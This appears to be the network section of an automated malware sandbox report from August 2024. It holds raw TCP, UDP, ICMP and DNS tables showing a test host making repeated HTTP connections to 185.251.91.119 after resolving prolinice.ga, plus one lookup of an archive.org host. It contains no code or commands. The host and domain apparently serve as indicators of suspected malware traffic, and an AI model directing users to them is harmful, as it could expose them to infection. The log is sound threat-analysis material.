Aug 31, 2024 19:25:33.541995049 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.542007923 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.542027950 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.542205095 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.542217016 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.542227983 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.542239904 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.542248011 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.542273045 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.542552948 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.542778015 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.542817116 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.542835951 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.542848110 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.542896986 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.543085098 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.543097019 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.543109894 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.543123960 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.543144941 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.543488979 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.543539047 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.543879032 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.543891907 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.543903112 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.543915033 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.543924093 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.543961048 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.578475952 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.578663111 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.578674078 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.578692913 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.578702927 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.578713894 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.578717947 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.578726053 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.578731060 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.578758955 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.579050064 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.579210043 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.579253912 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.579330921 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.579346895 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.579359055 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.579391956 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.579601049 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.579612017 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.579622030 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.579633951 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.579649925 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.579668999 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.580018997 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580029964 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580039978 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580050945 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580060005 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.580091953 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.580435991 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580446959 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580457926 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580470085 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580477953 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.580487967 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580504894 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.580507994 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580518961 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.580550909 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.581068993 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.581080914 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.581090927 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.581101894 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.581114054 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.581115961 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.581124067 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.581139088 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.581166029 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.590029955 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.590147018 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.590193033 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.590321064 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.590378046 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.590394020 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.590423107 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.625670910 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.625818014 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.625828981 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.625876904 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.625889063 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.625893116 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.625900030 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.625917912 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.626179934 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.626190901 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.626209974 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.626234055 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.626245975 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.626256943 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.626269102 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.626276016 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.626308918 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.626822948 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697210073 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697294950 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.697438002 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697448969 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697468042 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697478056 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697489023 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697491884 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.697509050 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.697690010 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697735071 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.697815895 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697885036 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697896957 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697907925 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.697928905 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.698303938 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.698314905 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.698323965 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.698334932 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.698343992 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.698345900 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.698357105 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.698364019 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.698369026 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.698379993 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.698390007 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.698416948 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.698982954 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699096918 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699145079 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.699174881 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699186087 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699197054 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699232101 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.699548960 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699558973 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699569941 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699579954 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699590921 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699598074 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.699601889 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699614048 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.699625969 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.699651957 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.700268030 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.700277090 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.700287104 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.700298071 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.700308084 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.700313091 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.700319052 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.700330019 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.700340033 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.700347900 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.700370073 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.701005936 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701016903 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701028109 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701039076 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701050043 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701055050 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.701066971 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.701061964 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701080084 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701101065 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.701742887 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701756001 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701766968 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701777935 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701788902 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701792955 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.701798916 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701809883 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701811075 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.701821089 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.701832056 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.701857090 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.702563047 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.702574968 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.702615976 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.702764988 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.702775002 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.702785015 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.702795982 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.702806950 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.702811003 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.702847958 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.703166008 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703176022 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703186989 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703197956 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703203917 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.703210115 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703232050 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.703676939 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703687906 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703697920 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703712940 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703718901 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.703723907 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703735113 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703743935 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.703746080 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.703768015 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.704132080 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704143047 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704154015 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704164028 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704174995 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704174995 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.704185963 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704196930 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704199076 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.704207897 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704217911 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.704252958 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.704756975 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704766989 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704777956 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704788923 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704799891 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.704801083 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.704827070 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.705111027 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.705153942 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.705171108 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.705183029 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.705193996 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.705204964 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.705215931 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.705228090 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.705250978 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.705614090 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712351084 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712416887 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.712435007 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712446928 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712479115 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.712532043 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712543011 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712553978 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712564945 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712577105 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712580919 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.712604046 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.712867022 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712878942 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.712908030 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:33.926223993 CEST	80	49166	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:33.926276922 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:39.888622999 CEST	49167	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:39.893573046 CEST	80	49167	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:39.893639088 CEST	49167	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:39.893795967 CEST	49167	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:39.893848896 CEST	49167	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:39.898896933 CEST	80	49167	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:39.898905993 CEST	80	49167	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:39.898909092 CEST	80	49167	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:40.927783012 CEST	80	49167	185.251.91.119	192.168.2.22
Aug 31, 2024 19:25:41.127630949 CEST	49167	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:25:41.785916090 CEST	49167	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:26:33.747134924 CEST	49166	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:26:52.618242025 CEST	49168	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:26:52.623502970 CEST	80	49168	185.251.91.119	192.168.2.22
Aug 31, 2024 19:26:52.623574018 CEST	49168	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:26:52.623749971 CEST	49168	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:26:52.623781919 CEST	49168	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:26:52.628583908 CEST	80	49168	185.251.91.119	192.168.2.22
Aug 31, 2024 19:26:52.629057884 CEST	80	49168	185.251.91.119	192.168.2.22
Aug 31, 2024 19:26:53.625802994 CEST	80	49168	185.251.91.119	192.168.2.22
Aug 31, 2024 19:26:53.834259033 CEST	80	49168	185.251.91.119	192.168.2.22
Aug 31, 2024 19:26:53.834307909 CEST	49168	80	192.168.2.22	185.251.91.119
Aug 31, 2024 19:27:05.677818060 CEST	49168	80	192.168.2.22	185.251.91.119

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 19:25:06.348325968 CEST	54562	53	192.168.2.22	8.8.8.8
Aug 31, 2024 19:25:06.359579086 CEST	53	54562	8.8.8.8	192.168.2.22
Aug 31, 2024 19:25:31.697573900 CEST	52917	53	192.168.2.22	8.8.8.8
Aug 31, 2024 19:25:31.964854002 CEST	53	52917	8.8.8.8	192.168.2.22
Aug 31, 2024 19:25:31.970921040 CEST	62751	53	192.168.2.22	8.8.8.8
Aug 31, 2024 19:25:32.069288969 CEST	53	62751	8.8.8.8	192.168.2.22
Aug 31, 2024 19:25:38.667424917 CEST	57893	53	192.168.2.22	8.8.8.8
Aug 31, 2024 19:25:39.677067995 CEST	57893	53	192.168.2.22	8.8.8.8
Aug 31, 2024 19:25:39.864599943 CEST	53	57893	8.8.8.8	192.168.2.22
Aug 31, 2024 19:25:39.880815983 CEST	54821	53	192.168.2.22	8.8.8.8
Aug 31, 2024 19:25:39.888066053 CEST	53	54821	8.8.8.8	192.168.2.22
Aug 31, 2024 19:25:40.226501942 CEST	53	57893	8.8.8.8	192.168.2.22
Aug 31, 2024 19:26:51.907284021 CEST	54719	53	192.168.2.22	8.8.8.8
Aug 31, 2024 19:26:51.914275885 CEST	53	54719	8.8.8.8	192.168.2.22
Aug 31, 2024 19:26:52.037043095 CEST	49881	53	192.168.2.22	8.8.8.8
Aug 31, 2024 19:26:52.270508051 CEST	53	49881	8.8.8.8	192.168.2.22
Aug 31, 2024 19:26:52.271166086 CEST	49881	53	192.168.2.22	8.8.8.8
Aug 31, 2024 19:26:52.549982071 CEST	53	49881	8.8.8.8	192.168.2.22
Aug 31, 2024 19:26:52.550226927 CEST	49881	53	192.168.2.22	8.8.8.8
Aug 31, 2024 19:26:52.567785025 CEST	53	49881	8.8.8.8	192.168.2.22

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 31, 2024 19:25:40.226615906 CEST	192.168.2.22	8.8.8.8	d012	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 31, 2024 19:25:06.348325968 CEST	192.168.2.22	8.8.8.8	0xc44c	Standard query (0)	ia803104.us.archive.org	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:25:31.697573900 CEST	192.168.2.22	8.8.8.8	0xa59f	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:25:31.970921040 CEST	192.168.2.22	8.8.8.8	0x575c	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:25:38.667424917 CEST	192.168.2.22	8.8.8.8	0xe944	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:25:39.677067995 CEST	192.168.2.22	8.8.8.8	0xe944	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:25:39.880815983 CEST	192.168.2.22	8.8.8.8	0xcee6	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:26:51.907284021 CEST	192.168.2.22	8.8.8.8	0xebec	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:26:52.037043095 CEST	192.168.2.22	8.8.8.8	0x15a2	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:26:52.271166086 CEST	192.168.2.22	8.8.8.8	0x15a2	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:26:52.550226927 CEST	192.168.2.22	8.8.8.8	0x15a2	Standard query (0)	prolinice.ga	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 31, 2024 19:25:06.359579086 CEST	8.8.8.8	192.168.2.22	0xc44c	No error (0)	ia803104.us.archive.org	207.241.232.154	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:25:31.964854002 CEST	8.8.8.8	192.168.2.22	0xa59f	No error (0)	prolinice.ga	185.251.91.119	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:25:32.069288969 CEST	8.8.8.8	192.168.2.22	0x575c	No error (0)	prolinice.ga	185.251.91.119	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:25:39.864599943 CEST	8.8.8.8	192.168.2.22	0xe944	No error (0)	prolinice.ga	185.251.91.119	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:25:39.888066053 CEST	8.8.8.8	192.168.2.22	0xcee6	No error (0)	prolinice.ga	185.251.91.119	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:25:40.226501942 CEST	8.8.8.8	192.168.2.22	0xe944	No error (0)	prolinice.ga	185.251.91.119	A (IP address)	IN (0x0001)	false
Aug 31, 2024 19:26:51.914275885 CEST	8.8.8.8	192.168.2.22	0xebec	No error (0)	prolinice.ga	185.251.91.119	A (IP address)	IN (0x0001)	false
